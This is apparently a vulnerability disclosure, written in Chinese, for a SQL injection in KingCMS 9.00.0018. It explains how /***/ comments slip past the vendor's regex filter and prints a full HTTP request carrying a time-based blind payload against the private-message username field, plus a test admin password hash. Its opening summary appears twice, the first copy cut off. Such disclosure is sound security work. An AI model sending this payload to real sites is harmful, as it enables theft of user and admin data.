### 简要描述: KingCms最新版绕过补丁(版本:9.00.0018)注入一枚 ### 详细说明: 写在前面:漏洞存在于用户发送站内信的地方,因此,测试时需要注册一个前台的普通用户。 朋友的公司购买了kingcms的授权,最近kingcms官方给我朋友发来了升级包,升级说明当中说已经解决了已知的安全问题,今天再帮朋友测试下。 自从朋友购买,已经经过了9.00.0015,9.00.0016,9.00.0017,现在更新到了9.00.0018,kingcms服务还不错。9.00.0018的更新时间是2015.07.23,见官网http://www.kingcms.com/download/k9/ 另:由于kingcms使用的是云后台,安装过程与一般的cms有点不同,复现时安装请参考官方:http://www.focuznet.com/k9/t3012/ (特别是安装的后面部分操作) 既然是绕过补丁,那还是先来回顾一下以前的过滤版本,主要包括9.00.0014及以前,9.00.0015版,9.00.0016-9.00.0018版。我们来具体研究学习一下: 9.00.0014版及以前各版本: 直接获得用户提交的$where参数,没有过滤,直接带入了SQL执行。 9.00.0015版: 由于我已前提交的漏洞已经公开,在9.00.0015版中添加了过滤,打了补丁,这里只把过滤方法拿出来,方便后面对比。 ``` /** * 参考Discuz!及阿里云 云体检通用漏洞防护补丁 */ public function safecheck($sql){ $checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL'); $cmd = strtoupper(substr(trim($sql), 0, 3)); if (!in_array($cmd, $checkcmd)) { return TRUE; } $disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)'; if (preg_match("/" ....
### 简要描述: KingCms最新版绕过补丁(版本:9.00.0018)注入一枚 ### 详细说明: 写在前面:漏洞存在于用户发送站内信的地方,因此,测试时需要注册一个前台的普通用户。 朋友的公司购买了kingcms的授权,最近kingcms官方给我朋友发来了升级包,升级说明当中说已经解决了已知的安全问题,今天再帮朋友测试下。 自从朋友购买,已经经过了9.00.0015,9.00.0016,9.00.0017,现在更新到了9.00.0018,kingcms服务还不错。9.00.0018的更新时间是2015.07.23,见官网http://www.kingcms.com/download/k9/ 另:由于kingcms使用的是云后台,安装过程与一般的cms有点不同,复现时安装请参考官方:http://www.focuznet.com/k9/t3012/ (特别是安装的后面部分操作) 既然是绕过补丁,那还是先来回顾一下以前的过滤版本,主要包括9.00.0014及以前,9.00.0015版,9.00.0016-9.00.0018版。我们来具体研究学习一下: 9.00.0014版及以前各版本: 直接获得用户提交的$where参数,没有过滤,直接带入了SQL执行。 9.00.0015版: 由于我已前提交的漏洞已经公开,在9.00.0015版中添加了过滤,打了补丁,这里只把过滤方法拿出来,方便后面对比。 ``` /** * 参考Discuz!及阿里云 云体检通用漏洞防护补丁 */ public function safecheck($sql){ $checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL'); $cmd = strtoupper(substr(trim($sql), 0, 3)); if (!in_array($cmd, $checkcmd)) { return TRUE; } $disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)'; if (preg_match("/" . $disablesql . "/is", $sql) == 1) { return FALSE; } return TRUE; } } ``` 9.00.0016-9.00.0018版: 由于上面的补丁被成功绕过,kingcms又进行了修复更新,具体的补丁是这样的。 ``` /** * 参考Discuz!及阿里云 云体检通用漏洞防护补丁 */ public function safecheck($sql){ $checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL'); $cmd = strtoupper(substr(trim($sql), 0, 3)); if (!in_array($cmd, $checkcmd)) { return TRUE; } $disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)'; if (preg_match("/" . $disablesql . "/is", str_replace('/**/', '', $sql)) == 1) { return FALSE; } return TRUE; } ``` 可以看到这两次补本的最大不同就是最新版过滤了/**/,只所以过滤/**/,是因为我在9.00.0015版中使用/**/绕过了kingcms使用正则表达式进行防注过滤的补丁,这次提交的漏洞将绕过kingcms的最新补丁进行注入。 注入点:POST /user/pm.php?CMD=post 注入参数:username 问题文件在/user/pm.php ``` function _post(){ $u=new user;extract($u->info);; if (!$islogin) kc_tip('请先登录!'); if(METHOD=='POST'){ $str=new str; $db=new db; if(empty($_POST['username'])) kc_tip('用户名不能为空!','form'); if(empty($_POST['content'])) kc_tip('短信内容不能为空!','form'); if($str->len($_POST['content'])>1000) kc_tip('短信不能超过1000字!'); $usernames=preg_split('/[\s\,]+/',$_POST['username']); $res=$db->getRows('%s_user','userid',"username in ('".implode("','",$usernames)."')"); if(empty($res)) kc_tip('收件人名称有误!','form'); $array=array(); foreach($res as $rs){ $array[]=array( 'userid'=>$rs['userid'], 'puserid'=>$userid, 'content'=>$_POST['content'], 'date'=>time(), ); } $db->insert('%s_user_pm',$array,1); kc_tip('信息发送成功!','ok'); } $s='<table class="k_table_form">'; $s.='<tr><th>收件人</th><td><input type="text" name="username" value="'.kc_val($_POST,'username').'" class="k_in w200"/><em>多个用户逗号分开</em></td></tr>'; $s.='<tr><th>短信内容</th><td><textarea name="content" class="k_in w400 h150"></textarea></td></tr>'; $s.='</table>'; kc_ajax(array( 'TITLE'=>'发信息', 'MAIN'=>$s, 'ID'=>'k_ajax', 'WIDTH'=>580, 'HEIGHT'=>220, 'BUTTON'=>'<button onclick="$.kc_ajax({URL:\''.FULLURL.DIR.'user/pm.php\',CMD:\'post\',FORM:\'k_ajaxForm\',METHOD:\'POST\'})">发送</button>', )); } ``` 可以看到kingmcs使用preg_split对username进行了处理,我们分析一下这个正则,它的作用是通过空格或逗号把username进行分隔,因此,我们的exp中不能出现空格符和逗号。然后执行了getRows(),跟进 ``` public function getRows($table,$insql='*',$where=null,$order=null,$limit=null,$group=null) { $table=str_replace('%s',DB_PRE,$table); $sql="SELECT $insql FROM $table "; $sql.= empty($where) ? '' : " WHERE $where"; $sql.= empty($group) ? '' : " GROUP BY $group"; $sql.= empty($order) ? '' : " ORDER BY $order"; $sql.= empty($limit) ? '' : " LIMIT $limit"; return $this->get($sql); } ``` 执行了$this->get($sql),去看看$this->get ``` public function get($sql) { $res=array(); $this->query($sql); if (empty($this->query_ID)) { return array(); } $rows=mysql_num_rows($this->query_ID); for($i=0;$i<$rows;$i++) { if(!mysql_data_seek($this->query_ID,$i)) { kc_tip('<textarea>'.htmlspecialchars($_sql).'</textarea>'); } $rs=mysql_fetch_array($this->query_ID); foreach ($rs as $k=>$r) { if (is_int($k) && $k!==0) { unset($rs[$k]); } } $res[$i]=$rs; } //释放资源 $this->free(); return $res; } ``` 执行了query(),跟进 ``` public function query($sql) { if(!$this->safecheck($sql)){ if(AJAX){ $tip='数据查询错误:'.$sql.'\n'; }else{ $tip='<strong style="color:#C00;display:block;line-height:50px;font-size:20px;">数据查询错误:'.$sql.'</strong>'; } kc_tip($tip,'form'); } if(!isset($this->link)) { $this->connect();//判断数据库连接是否可用 } @mysql_query('set names '.DB_CHARSET);//设置字符集 $this->query_ID = @mysql_query($sql); //错误反馈 $errid=mysql_errno(); if(!empty($errid) && $this->debug==true){ echo('<strong style="color:#C00;display:block;line-height:50px;font-size:20px;">'.$errid.') 数据查询错误:'.mysql_error().'</strong><p>'.$sql.'</p>'); } return $this->query_ID; } ``` 在query()中首先执行了$this->safecheck($sql),这个就是过滤方法,也是本次测试中要重点突破的过渡方法。 ``` /** * 参考Discuz!及阿里云 云体检通用漏洞防护补丁 */ public function safecheck($sql){ $checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL'); $cmd = strtoupper(substr(trim($sql), 0, 3)); if (!in_array($cmd, $checkcmd)) { return TRUE; } $disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)'; if (preg_match("/" . $disablesql . "/is", str_replace('/**/', '', $sql)) == 1) { return FALSE; } return TRUE; } ``` 通过分析代码我们有了以下基本想法: 1、当str_replace把/**/过滤掉以后的语句,不能与$disablesql 正则匹配 2、构造的sql语句能被符合sql的语法规则。 最开始想使用/*/**/*/,当str_replace把中间的/**/去掉以后,正好剩下/**/,这样可以组成类似于(/**/select......这样的语句,不会被\(select|的正则匹配,但是/*/**/*/是错误的sql注释方法,sql语法有错误,因此不能绕过。 然后又想到使用/***/,str_replace('/**/', '', $sql)对/***/无效,而/***/在sql语句中与/**/作用相同,可以起到一个空格的作用,不影响sql语句的正常执行。成功绕过。 这里我们使用time-based injection,又因为不能使用空格和逗号,因此Payload如下: ``` POST /user/pm.php?CMD=post HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: userauth=ec15d79e36e14dd258cfff3d48b73d3510000 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 249 username=')or(/***/select/***/case/***/when(/***/select/***/username/***/from(/***/select*from/***/king_user)/***/as/***/a/***/where/***/userid=10000)/***/like/***/'a%'/***/then/***/sleep(1)/***/else/***/sleep(0)/***/end)%23&content=test&METHOD=POST ``` 假时: [<img src="https://images.seebug.org/upload/201508/172254140bf07fb8501d11eb0413240500961c66.jpg" alt="假副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/172254140bf07fb8501d11eb0413240500961c66.jpg) 真时: [<img src="https://images.seebug.org/upload/201508/1722542329a7bf29566c2969a4b01026bf82af39.jpg" alt="真副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/1722542329a7bf29566c2969a4b01026bf82af39.jpg) 整个注入过程可以使用burpsuite 或者sqlmap 再或者自己写个脚本来跑,在本地进行测试,用户名为admin,密码为f6fdffe48c908deb0f4c3bd36c032e72 ### 漏洞证明: 见 详细说明